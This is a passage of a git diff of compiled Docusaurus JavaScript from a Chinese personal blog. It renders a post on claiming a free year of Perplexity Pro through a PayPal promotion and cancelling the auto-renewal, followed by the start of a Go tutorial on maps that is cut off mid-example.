Pro\u514d\u8d39\u83b7\u53d6\u4e00\u5e74\u8ba2\u9605","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Perplexity Pro\u514d\u8d39\u83b7\u53d6\u4e00\u5e74\u8ba2\u9605","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0/01.Perplexity Pro\u514d\u8d39\u83b7\u53d6\u4e00\u5e74\u8ba2\u9605.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"torch\u5b9e\u73b0","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/torch\u5b9e\u73b0/"},"next":{"title":"Supershell\u4e8c\u5f00\u4fee\u6539\uff01\u81ea\u5b9a\u4e49\u8def\u7531+\u9632\u6eaf\u6e90","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Supershell\u4e8c\u5f00\u4fee\u6539"}}');var i=s(74848),r=s(28453);const d={},l="Perplexity Pro\u514d\u8d39\u83b7\u53d6\u4e00\u5e74\u8ba2\u9605",c={},a=[{value:"\u9886\u53d6\u4f18\u60e0\u6761\u4ef6",id:"\u9886\u53d6\u4f18\u60e0\u6761\u4ef6",level:2},{value:"\u53d6\u6d88\u4e00\u5e74\u540e\u7684\u81ea\u52a8\u6263\u8d39",id:"\u53d6\u6d88\u4e00\u5e74\u540e\u7684\u81ea\u52a8\u6263\u8d39",level:2},{value:"Perplexity \u53ef\u4ee5\u5e72\u5565\u5462\uff1f",id:"perplexity-\u53ef\u4ee5\u5e72\u5565\u5462",level:2},{value:"Perplexity Pro \u771f\u7684\u503c\u5f97\u9886\u53d6\u5417\uff1f",id:"perplexity-pro-\u771f\u7684\u503c\u5f97\u9886\u53d6\u5417",level:2},{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2}];function h(e){const n={code:"code",h1:"h1",h2:"h2",header:"header",img:"img",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,r.R)(),...e.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(n.header,{children:(0,i.jsx)(n.h1,{id:"perplexity-pro\u514d\u8d39\u83b7\u53d6\u4e00\u5e74\u8ba2\u9605",children:"Perplexity Pro\u514d\u8d39\u83b7\u53d6\u4e00\u5e74\u8ba2\u9605"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(n.table,{children:[(0,i.jsx)(n.thead,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(n.tbody,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"left"},children:(0,i.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(n.td,{style:{textAlign:"left"},children:"2025-11-02 05:51:51"})]})})]}),"\n",(0,i.jsxs)(n.p,{children:["\u5927\u5bb6\u597d\uff0c\u6211\u662f ",(0,i.jsx)(n.strong,{children:"\u5c0f\u738b\u8bf4\u5b89\u5168"}),"\uff01\n\u4eca\u5929\u7ed9\u5927\u5bb6\u5e26\u6765\u4e00\u4e2a",(0,i.jsx)(n.strong,{children:"\u91cd\u78c5\u798f\u5229"}),"\uff1a\u4f60\u53ef\u4ee5",(0,i.jsx)(n.strong,{children:"\u514d\u8d39\u83b7\u5f97\u4e00\u5e74\u7684 Perplexity Pro \u8ba2\u9605\u670d\u52a1"}),"\uff01\u4ef7\u503c",(0,i.jsx)(n.strong,{children:"240 \u7f8e\u5143\uff08\u7ea6\u4eba\u6c11\u5e01 1700 \u5143\uff09"}),"\uff0c\u514d\u8d39\u4f7f\u7528",(0,i.jsx)(n.strong,{children:"Perplexity Pro"}),"\u3001",(0,i.jsx)(n.strong,{children:"GPT-5"}),"\u3001",(0,i.jsx)(n.strong,{children:"Grok 4"}),"\u3001",(0,i.jsx)(n.strong,{children:"Claude Sonnect 4.5"})," \u3001Gemini 2.5 Pro \u7b49\u6700\u65b0\u5927\u6a21\u578b\u3002\u867d\u7136\u9700\u8981\u6ee1\u8db3\u4e00\u4e9b\u6761\u4ef6\u624d\u80fd\u9886\u53d6\uff0c\u4f46",(0,i.jsx)(n.strong,{children:"\u51e0\u4e4e\u6240\u6709\u4eba\u90fd\u80fd\u8fbe\u6210"}),"\uff0c\u975e\u5e38\u5212\u7b97\u3002\u597d\u4e86\uff0c\u5e9f\u8bdd\u4e0d\u591a\u8bf4\uff0c",(0,i.jsx)(n.strong,{children:"\u6211\u4eec\u73b0\u5728\u5c31\u5f00\u59cb\u5427\uff01"})]}),"\n",(0,i.jsx)(n.h2,{id:"\u9886\u53d6\u4f18\u60e0\u6761\u4ef6",children:"\u9886\u53d6\u4f18\u60e0\u6761\u4ef6"}),"\n",(0,i.jsxs)(n.p,{children:["\u9996\u5148\u6211\u4eec\u6253\u5f00\u4e00\u4e2a\u6d3b\u52a8\u9875\u9762\uff08\u7531\u4e8e\u516c\u4f17\u53f7\u539f\u56e0\uff0c\u65e0\u6cd5\u76f4\u63a5\u5c55\u793a\u94fe\u63a5\u3002\u6211\u628a\u653e\u5230\u516c\u4f17\u53f7\u6d88\u606f\u91cc\u4e86\uff0c\u5173\u6ce8\u516c\u4f17\u53f7",(0,i.jsx)(n.strong,{children:"\u5c0f\u738b\u8bf4\u5b89\u5168"}),"\uff0c\u56de\u590d\u3010Perplexity\u3011\u5373\u53ef\u83b7\u5f97\uff09\uff0c\u53ef\u4ee5\u770b\u5230\u4ec5\u9650",(0,i.jsx)(n.strong,{children:"PayPal"}),"\u7528\u6237\uff08\u8fd9\u91cc\u8bf4\u660e\u4e00\u4e0b\uff0cPayPal \u8d26\u6237\u662f\u65e0\u4efb\u4f55\u5730\u533a\u9650\u5236\u7684\uff0c\u751a\u81f3\u662f\u4e2d\u56fd\u5730\u533a\uff09"]}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20251102045928005",src:s(42420).A+"",width:"2772",height:"1386"})}),"\n",(0,i.jsxs)(n.p,{children:["\u5f53\u6211\u4eec\u7ee7\u7eed\u70b9\u5f00\u4e0b\u65b9\u7684\u4f7f\u7528\u6761\u6b3e\uff0c\u53ef\u4ee5\u770b\u5230 2025 \u5e74 9 \u6708 1 \u65e5\u524d\uff0c\u6ce8\u518cPayPal \u7684\u7528\u6237\u5373\u53ef\u514d\u8d39\u76f4\u63a5\u83b7\u53d6\uff0c\u800c\u672a\u6ce8\u518c\u7684\u4e5f\u4e0d\u7528\u62c5\u5fc3\uff0c\u53ea\u9700\u6ce8\u518c\u4e00\u4e2a\u6708\u540e\u5c31\u53ef\u518d\u6b21\u56de\u5230\u8fd9\u4e2a\u9875\u9762\u9886\u53d6\u4e86\uff0c\u5e76\u4e14\u622a\u6b62\u65f6\u95f4\u662f 2025 \u5e74 12 \u6708 31 \u65e5\uff0c\u6240\u4ee5\u8fd8\u6ca1\u6709\u8d26\u6237\u7684\u670b\u53cb\uff0c\u53ef\u4ee5\u4e0d\u7740\u6025\u7b49\u6ce8\u518c\u597d\u540e",(0,i.jsx)(n.strong,{children:"Paypal"})," \uff0c\u4e00\u4e2a\u6708\u540e\u9886\u53d6\u3002"]}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20251102050042247",src:s(65197).A+"",width:"2688",height:"1336"})}),"\n",(0,i.jsx)(n.p,{children:"\u7531\u4e8e\u6211\u76f4\u63a5\u662f\u9886\u53d6\uff0c\u65e0\u6cd5\u8bb0\u5f55\u5b8c\u6574\u7684\u9886\u53d6\u8fc7\u7a0b\uff0c\u53ef\u4ee5\u770b\u5230\u6211\u662f\u76f4\u63a5\u83b7\u5f97\u4e86\u4e00\u5e74\u7684\u8d44\u683c"}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20251102050448408",src:s(60302).A+"",width:"734",height:"924"})}),"\n",(0,i.jsx)(n.h2,{id:"\u53d6\u6d88\u4e00\u5e74\u540e\u7684\u81ea\u52a8\u6263\u8d39",children:"\u53d6\u6d88\u4e00\u5e74\u540e\u7684\u81ea\u52a8\u6263\u8d39"}),"\n",(0,i.jsxs)(n.p,{children:["\u4e3a\u4e86\u907f\u514d\u4e00\u5e74\u540e\u6263\u4f60 ",(0,i.jsx)(n.strong,{children:"PayPal"})," \u7684\u9a6c\u5185\uff0c\u6211\u4eec\u8fd8\u662f\u9700\u8981\u53d6\u6d88\u8ba2\u9605\u7684\u3002\u8fd9\u8ddf\u56fd\u5185\u7684\u81ea\u52a8\u6263\u8d39\u662f\u4e00\u4e2a\u9053\u7406\uff0c\u9996\u5148\u6253\u5f00",(0,i.jsx)(n.strong,{children:"perplexity"}),"\u754c\u9762\uff0c\u5de6\u4e0b\u89d2\u70b9\u51fb\u5934\u50cf->\u8d26\u6237"]}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20251102053130311",src:s(52016).A+"",width:"2574",height:"1392"})}),"\n",(0,i.jsx)(n.p,{children:"\u5f39\u51fa\u7684\u754c\u9762\u4e2d\u9009\u62e9\u7ba1\u7406\u8ba2\u9605"}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20251102053054657",src:s(47114).A+"",width:"2636",height:"1378"})}),"\n",(0,i.jsx)(n.p,{children:"\u70b9\u51fb\u53d6\u6d88\u8ba2\u9605\u5373\u53ef\uff0c\u653e\u5fc3\u8fd9\u91cc\u4e0d\u4f1a\u53d6\u6d88\u4f60\u73b0\u5728\u7684 Pro \u4f1a\u5458\u3002\u53ea\u662f\u53d6\u6d88\u81ea\u52a8\u6263\u6b3e\u800c\u5df2"}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20251102053249160",src:s(26387).A+"",width:"758",height:"312"})}),"\n",(0,i.jsx)(n.h2,{id:"perplexity-\u53ef\u4ee5\u5e72\u5565\u5462",children:"Perplexity \u53ef\u4ee5\u5e72\u5565\u5462\uff1f"}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.strong,{children:"Perplexity"})," \u662f\u4e00\u4e2a\u201c\u5bf9\u8bdd\u5f0f\u641c\u7d22\u5f15\u64ce+\u4fe1\u606f\u6765\u6e90\u5f15\u7528\u201d\u7684 AI \u5de5\u5177\uff0c\u4f18\u52bf\u5728\u4e8e\u5b9e\u65f6\u68c0\u7d22\u3001\u7ed3\u679c\u5e26\u6765\u6e90\u3001\u5e76\u4ee5\u5bf9\u8bdd\u5f62\u5f0f\u7ed9\u51fa\u6574\u5408\u6027\u7684\u4fe1\u606f\u6458\u8981\uff0c\u4e0e\u7eaf\u804a\u5929\u578b AI\u76f8\u6bd4\u66f4\u9002\u5408\u9700\u8981\u53ef\u6838\u9a8c\u7684\u6700\u65b0\u4fe1\u606f\u4e0e\u7814\u7a76\u8d44\u6599\u7684\u573a\u666f\u3002\u8bf4\u5927\u767d\u8bdd\u5c31\u662f\uff0c\u76f8\u8f83\u4e8e\u5176\u4ed6 AI\uff0c\u5b83\u4f1a\u7ed3\u5408\u5404\u7c7b\u641c\u7d22\u7ed3\u679c\u8fdb\u884c\u8fdb\u884c\u603b\u7ed3\u8f93\u51fa\u62a5\u544a\u3001\u65b0\u95fb\u3001\u4fe1\u606f\u6458\u8981\u7b49\u3002"]}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20251102051649779",src:s(47021).A+"",width:"2380",height:"1212"})}),"\n",(0,i.jsxs)(n.p,{children:["\u90a3\u4e48\u6211\u4eec\u7b80\u5355\u6765\u4f7f\u7528\u4e00\u4e0b\uff0c\u6211\u8ba9\u4ed6\u4f7f\u7528\u641c\u7d22\u529f\u80fd\uff0c\u5e2e\u6211\u603b\u7ed3\u6bcf\u65e5\u4e00\u62a5\u7684\u4fe1\u606f\u3002\u9996\u5148\u70b9\u51fb",(0,i.jsx)(n.strong,{children:"\u7a7a\u95f4"}),"->",(0,i.jsx)(n.strong,{children:"\u521b\u5efa\u65b0\u7a7a\u95f4"})]}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20251102052110284",src:s(91996).A+"",width:"2640",height:"1352"})}),"\n",(0,i.jsx)(n.p,{children:"\u8f93\u5165\u4ee5\u4e0b\u63d0\u793a\u8bcd"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-tex",children:"\u89d2\u8272\u8bbe\u5b9a\uff1a\n\u4f60\u662f\u4e00\u540d\u8d44\u6df1\u65b0\u95fb\u7f16\u8f91\u4e0e\u65f6\u4e8b\u5206\u6790\u4e13\u5bb6\uff0c\u8d1f\u8d23\u6bcf\u5929\u4e3a\u8bfb\u8005\u63d0\u4f9b\u5168\u7403\u53ca\u56fd\u5185\u4e3b\u8981\u65b0\u95fb\u4e8b\u4ef6\u7684\u7cbe\u70bc\u603b\u7ed3\u4e0e\u8d8b\u52bf\u6d1e\u5bdf\u3002\n\u4f60\u7684\u76ee\u6807\u662f\u5e2e\u52a9\u8bfb\u8005\u5728\u51e0\u5206\u949f\u5185\u4e86\u89e3\u5f53\u5929\u6700\u91cd\u8981\u7684\u65b0\u95fb\u52a8\u6001\u3002\n\n\ud83c\udfaf \u4efb\u52a1\u76ee\u6807\uff1a\n\n\u8bf7\u6839\u636e\u4eca\u65e5\u7684\u65b0\u95fb\u5185\u5bb9\uff08\u6216\u4ece\u6307\u5b9a\u6765\u6e90\u63d0\u53d6\u7684\u65b0\u95fb\uff09\uff0c\u751f\u6210\u4e00\u4efd\u6bcf\u65e5\u65b0\u95fb\u603b\u7ed3\u62a5\u544a\uff0c\u8981\u6c42\u5982\u4e0b\uff1a\n\n\u5185\u5bb9\u7ed3\u6784\u6e05\u6670\u3001\u6709\u5c42\u6b21\uff0c\u7528\u5206\u6bb5\u6807\u9898\u5448\u73b0\u3002\n\n\u6bcf\u6761\u65b0\u95fb\u9700\u5305\u542b\u4ee5\u4e0b\u8981\u7d20\uff1a\n\n\ud83d\udd53 \u4e8b\u4ef6\u65f6\u95f4\u4e0e\u80cc\u666f\n\n\ud83c\udf0d \u4e3b\u8981\u4eba\u7269 / \u673a\u6784\n\n\ud83d\udccc \u6838\u5fc3\u4e8b\u4ef6\u53ca\u53d1\u5c55\n\n\ud83d\udcca \u5f71\u54cd\u4e0e\u610f\u4e49\n\n\u5bf9\u6240\u6709\u65b0\u95fb\u8fdb\u884c\u4e3b\u9898\u5f52\u7eb3\u4e0e\u8d8b\u52bf\u5206\u6790\uff08\u5982\u653f\u6cbb\u3001\u7ecf\u6d4e\u3001\u79d1\u6280\u3001\u793e\u4f1a\u3001\u56fd\u9645\u7b49\uff09\u3002\n\n\u8bed\u6c14\u4fdd\u6301\u4e2d\u7acb\u3001\u4e13\u4e1a\u3001\u7b80\u6d01\uff0c\u907f\u514d\u4e3b\u89c2\u8bc4\u8bba\u3002\n\n\u5728\u7ed3\u5c3e\u6dfb\u52a0\u4e00\u6bb5 \u300c\u7efc\u5408\u5206\u6790 / \u660e\u65e5\u5c55\u671b\u300d\uff0850\u2013100\u5b57\uff09\u3002\n"})}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20251102052306129",src:s(3357).A+"",width:"2264",height:"1152"})}),"\n",(0,i.jsx)(n.p,{children:"\u7136\u540e\u5728\u5bf9\u8bdd\u6846\u4e2d\u8f93\u5165**\u751f\u6210\u5173\u4e8e 2025 \u5e74 10 \u6708 31 \u65e5\u7684\u65b0\u95fb.**\u53ef\u4ee5\u770b\u5230\u5b83\u7ed3\u5408\u4e86\u5f88\u591a\u653f\u5e9c\u7f51\u7ad9\u7684\u5b9e\u65f6\u62a5\u9053\u548c\u5404\u7c7b\u6570\u636e\u6e90\u7684\u641c\u7d22\u7ed3\u679c\u3002"}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20251102052545888",src:s(90276).A+"",width:"2248",height:"1310"})}),"\n",(0,i.jsx)(n.p,{children:"\u8fd9\u662f\u5b83\u7684\u641c\u7d22\u7ed3\u679c"}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20251102052642142",src:s(80511).A+"",width:"2226",height:"1264"})}),"\n",(0,i.jsx)(n.h2,{id:"perplexity-pro-\u771f\u7684\u503c\u5f97\u9886\u53d6\u5417",children:"Perplexity Pro \u771f\u7684\u503c\u5f97\u9886\u53d6\u5417\uff1f"}),"\n",(0,i.jsxs)(n.p,{children:["\u6211\u7684\u56de\u7b54\u662f\u5f53\u7136\u7684\uff01\u53cd\u6b63\u4ed6\u662f\u514d\u8d39\u7684\u4e0d\u7528\u767d\u4e0d\u7528\u662f\u5427\uff0c\u4f55\u51b5\u5728\u4ed6\u7684\u754c\u9762\u4e2d\uff0c\u4f60\u8fd8\u53ef\u4ee5\u7528\u5230 ",(0,i.jsx)(n.strong,{children:"GPT-5"}),"\u3001",(0,i.jsx)(n.strong,{children:"Claude Sonnect 4.5"})]}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20251102053556576",src:s(88455).A+"",width:"1698",height:"962"})}),"\n",(0,i.jsx)(n.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,i.jsxs)(n.p,{children:["\u90a3\u4e48\u4eca\u5929\u7684\u5206\u4eab\u5c31\u5230\u8fd9\u91cc\uff5e \u5982\u679c\u4f60\u4e5f\u60f3",(0,i.jsx)(n.strong,{children:"\u514d\u8d39\u9886\u53d6\u4e00\u5e74 Perplexity Pro"}),"\uff0c\u6216\u8005\u60f3\u4e86\u89e3\u66f4\u591a",(0,i.jsx)(n.strong,{children:"AI \u5de5\u5177\u4e0e\u5b89\u5168\u798f\u5229"}),"\uff0c\u8bb0\u5f97",(0,i.jsx)(n.strong,{children:"\u5173\u6ce8\u5c0f\u738b\u8bf4\u5b89\u5168"}),"\uff0c\u5e26\u4f60",(0,i.jsx)(n.strong,{children:"\u89e3\u9501\u66f4\u591a\u9690\u85cf\u798f\u5229\uff0c\u73a9\u8f6c\u524d\u6cbf\u79d1\u6280\uff01"})," \u56de\u590d\u3010Perplexity\u3011\uff0c\u83b7\u53d6\u9886\u53d6\u5730\u5740"]})]})}function o(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,i.jsx)(n,{...e,children:(0,i.jsx)(h,{...e})}):h(e)}},80511:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/image-20251102052642142-b7b523b39618a9befd435a9b50efafb6.png"},88455:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/image-20251102053556576-c9d09490394207f99cad126b0aa8c24d.png"},90276:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/image-20251102052545888-0130f95cc7bde791067e53d9b9a39db4.png"},91996:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/image-20251102052110284-2b9ff4293e3d03ecd517cb99c4330b5b.png"}}]); \ No newline at end of file diff --git a/assets/js/e7d10ee3.e4232376.js b/assets/js/e7d10ee3.e4232376.js new file mode 100644 index 0000000..e47d419 --- /dev/null +++ b/assets/js/e7d10ee3.e4232376.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[283],{28453:(n,e,a)=>{a.d(e,{R:()=>l,x:()=>i});var t=a(96540);const r={},s=t.createContext(r);function l(n){const e=t.useContext(s);return t.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function i(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(r):n.components||r:l(n.components),t.createElement(s.Provider,{value:e},n.children)}},52890:(n,e,a)=>{a.r(e),a.d(e,{assets:()=>c,contentTitle:()=>i,default:()=>d,frontMatter:()=>l,metadata:()=>t,toc:()=>p});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-map","title":"map","description":"map\u662f\u4e00\u79cd\u65e0\u5e8f\u7684\u57fa\u4e8ekey-value\u7684\u6570\u636e\u7ed3\u6784\uff0cGo\u8bed\u8a00\u4e2d\u7684map\u662f\u5f15\u7528\u7c7b\u578b\uff0c\u5fc5\u987b\u521d\u59cb\u5316\u624d\u80fd\u4f7f\u7528\u3002","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/09.GoLang-map.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-map","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-map","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/09.GoLang-map.md","tags":[],"version":"current","sidebarPosition":9,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6307\u9488","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6307\u9488"},"next":{"title":"\u51fd\u6570","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u51fd\u6570"}}');var r=a(74848),s=a(28453);const l={},i="map",c={},p=[{value:"map\u5b9a\u4e49",id:"map\u5b9a\u4e49",level:2},{value:"map\u57fa\u672c\u4f7f\u7528",id:"map\u57fa\u672c\u4f7f\u7528",level:2},{value:"\u5224\u65ad\u67d0\u4e2a\u952e\u662f\u5426\u5b58\u5728",id:"\u5224\u65ad\u67d0\u4e2a\u952e\u662f\u5426\u5b58\u5728",level:2},{value:"map\u7684\u904d\u5386",id:"map\u7684\u904d\u5386",level:2},{value:"\u4f7f\u7528delete()\u51fd\u6570\u5220\u9664\u952e\u503c\u5bf9",id:"\u4f7f\u7528delete\u51fd\u6570\u5220\u9664\u952e\u503c\u5bf9",level:2},{value:"\u6309\u7167\u6307\u5b9a\u987a\u5e8f\u904d\u5386map",id:"\u6309\u7167\u6307\u5b9a\u987a\u5e8f\u904d\u5386map",level:2},{value:"\u5143\u7d20\u4e3amap\u7c7b\u578b\u7684\u5207\u7247",id:"\u5143\u7d20\u4e3amap\u7c7b\u578b\u7684\u5207\u7247",level:2},{value:"\u503c\u4e3a\u5207\u7247\u7c7b\u578b\u7684map",id:"\u503c\u4e3a\u5207\u7247\u7c7b\u578b\u7684map",level:2}];function o(n){const e={code:"code",h1:"h1",h2:"h2",header:"header",li:"li",p:"p",pre:"pre",strong:"strong",ul:"ul",...(0,s.R)(),...n.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(e.header,{children:(0,r.jsx)(e.h1,{id:"map",children:"map"})}),"\n",(0,r.jsxs)(e.p,{children:["map\u662f\u4e00\u79cd\u65e0\u5e8f\u7684\u57fa\u4e8e",(0,r.jsx)(e.code,{children:"key-value"}),"\u7684\u6570\u636e\u7ed3\u6784\uff0cGo\u8bed\u8a00\u4e2d\u7684map\u662f\u5f15\u7528\u7c7b\u578b\uff0c\u5fc5\u987b\u521d\u59cb\u5316\u624d\u80fd\u4f7f\u7528\u3002"]}),"\n",(0,r.jsx)(e.h2,{id:"map\u5b9a\u4e49",children:"map\u5b9a\u4e49"}),"\n",(0,r.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d ",(0,r.jsx)(e.code,{children:"map"}),"\u7684\u5b9a\u4e49\u8bed\u6cd5\u5982\u4e0b\uff1a"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:"map[KeyType]ValueType\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u5176\u4e2d\uff0c"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"KeyType:\u8868\u793a\u952e\u7684\u7c7b\u578b\u3002"}),"\n",(0,r.jsx)(e.li,{children:"ValueType:\u8868\u793a\u952e\u5bf9\u5e94\u7684\u503c\u7684\u7c7b\u578b\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"map\u7c7b\u578b\u7684\u53d8\u91cf\u9ed8\u8ba4\u521d\u59cb\u503c\u4e3anil\uff0c\u9700\u8981\u4f7f\u7528make()\u51fd\u6570\u6765\u5206\u914d\u5185\u5b58\u3002\u8bed\u6cd5\u4e3a\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:"make(map[KeyType]ValueType, [cap])\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u5176\u4e2dcap\u8868\u793amap\u7684\u5bb9\u91cf\uff0c\u8be5\u53c2\u6570\u867d\u7136\u4e0d\u662f\u5fc5\u987b\u7684\uff0c\u4f46\u662f\u6211\u4eec\u5e94\u8be5\u5728\u521d\u59cb\u5316map\u7684\u65f6\u5019\u5c31\u4e3a\u5176\u6307\u5b9a\u4e00\u4e2a\u5408\u9002\u7684\u5bb9\u91cf\u3002"}),"\n",(0,r.jsx)(e.h2,{id:"map\u57fa\u672c\u4f7f\u7528",children:"map\u57fa\u672c\u4f7f\u7528"}),"\n",(0,r.jsx)(e.p,{children:"map\u4e2d\u7684\u6570\u636e\u90fd\u662f\u6210\u5bf9\u51fa\u73b0\u7684\uff0cmap\u7684\u57fa\u672c\u4f7f\u7528\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'func main() {\n\tscoreMap := make(map[string]int, 8)\n\tscoreMap["\u5f20\u4e09"] = 90\n\tscoreMap["\u5c0f\u660e"] = 100\n\tfmt.Println(scoreMap)\n\tfmt.Println(scoreMap["\u5c0f\u660e"])\n\tfmt.Printf("type of a:%T\\n", scoreMap)\n}\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u8f93\u51fa\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-bash",children:"map[\u5c0f\u660e:100 \u5f20\u4e09:90]\n100\ntype of a:map[string]int\n"})}),"\n",(0,r.jsx)(e.p,{children:"map\u4e5f\u652f\u6301\u5728\u58f0\u660e\u7684\u65f6\u5019\u586b\u5145\u5143\u7d20\uff0c\u4f8b\u5982\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'func main() {\n\tuserInfo := map[string]string{\n\t\t"username": "\u6c99\u6cb3\u5c0f\u738b\u5b50",\n\t\t"password": "123456",\n\t}\n\tfmt.Println(userInfo) //\n}\n'})}),"\n",(0,r.jsx)(e.h2,{id:"\u5224\u65ad\u67d0\u4e2a\u952e\u662f\u5426\u5b58\u5728",children:"\u5224\u65ad\u67d0\u4e2a\u952e\u662f\u5426\u5b58\u5728"}),"\n",(0,r.jsx)(e.p,{children:"Go\u8bed\u8a00\u4e2d\u6709\u4e2a\u5224\u65admap\u4e2d\u952e\u662f\u5426\u5b58\u5728\u7684\u7279\u6b8a\u5199\u6cd5\uff0c\u683c\u5f0f\u5982\u4e0b:"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:"value, ok := map[key]\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'func main() {\n\tscoreMap := make(map[string]int)\n\tscoreMap["\u5f20\u4e09"] = 90\n\tscoreMap["\u5c0f\u660e"] = 100\n\t// \u5982\u679ckey\u5b58\u5728ok\u4e3atrue,v\u4e3a\u5bf9\u5e94\u7684\u503c\uff1b\u4e0d\u5b58\u5728ok\u4e3afalse,v\u4e3a\u503c\u7c7b\u578b\u7684\u96f6\u503c\n\tv, ok := scoreMap["\u5f20\u4e09"]\n\tif ok {\n\t\tfmt.Println(v)\n\t} else 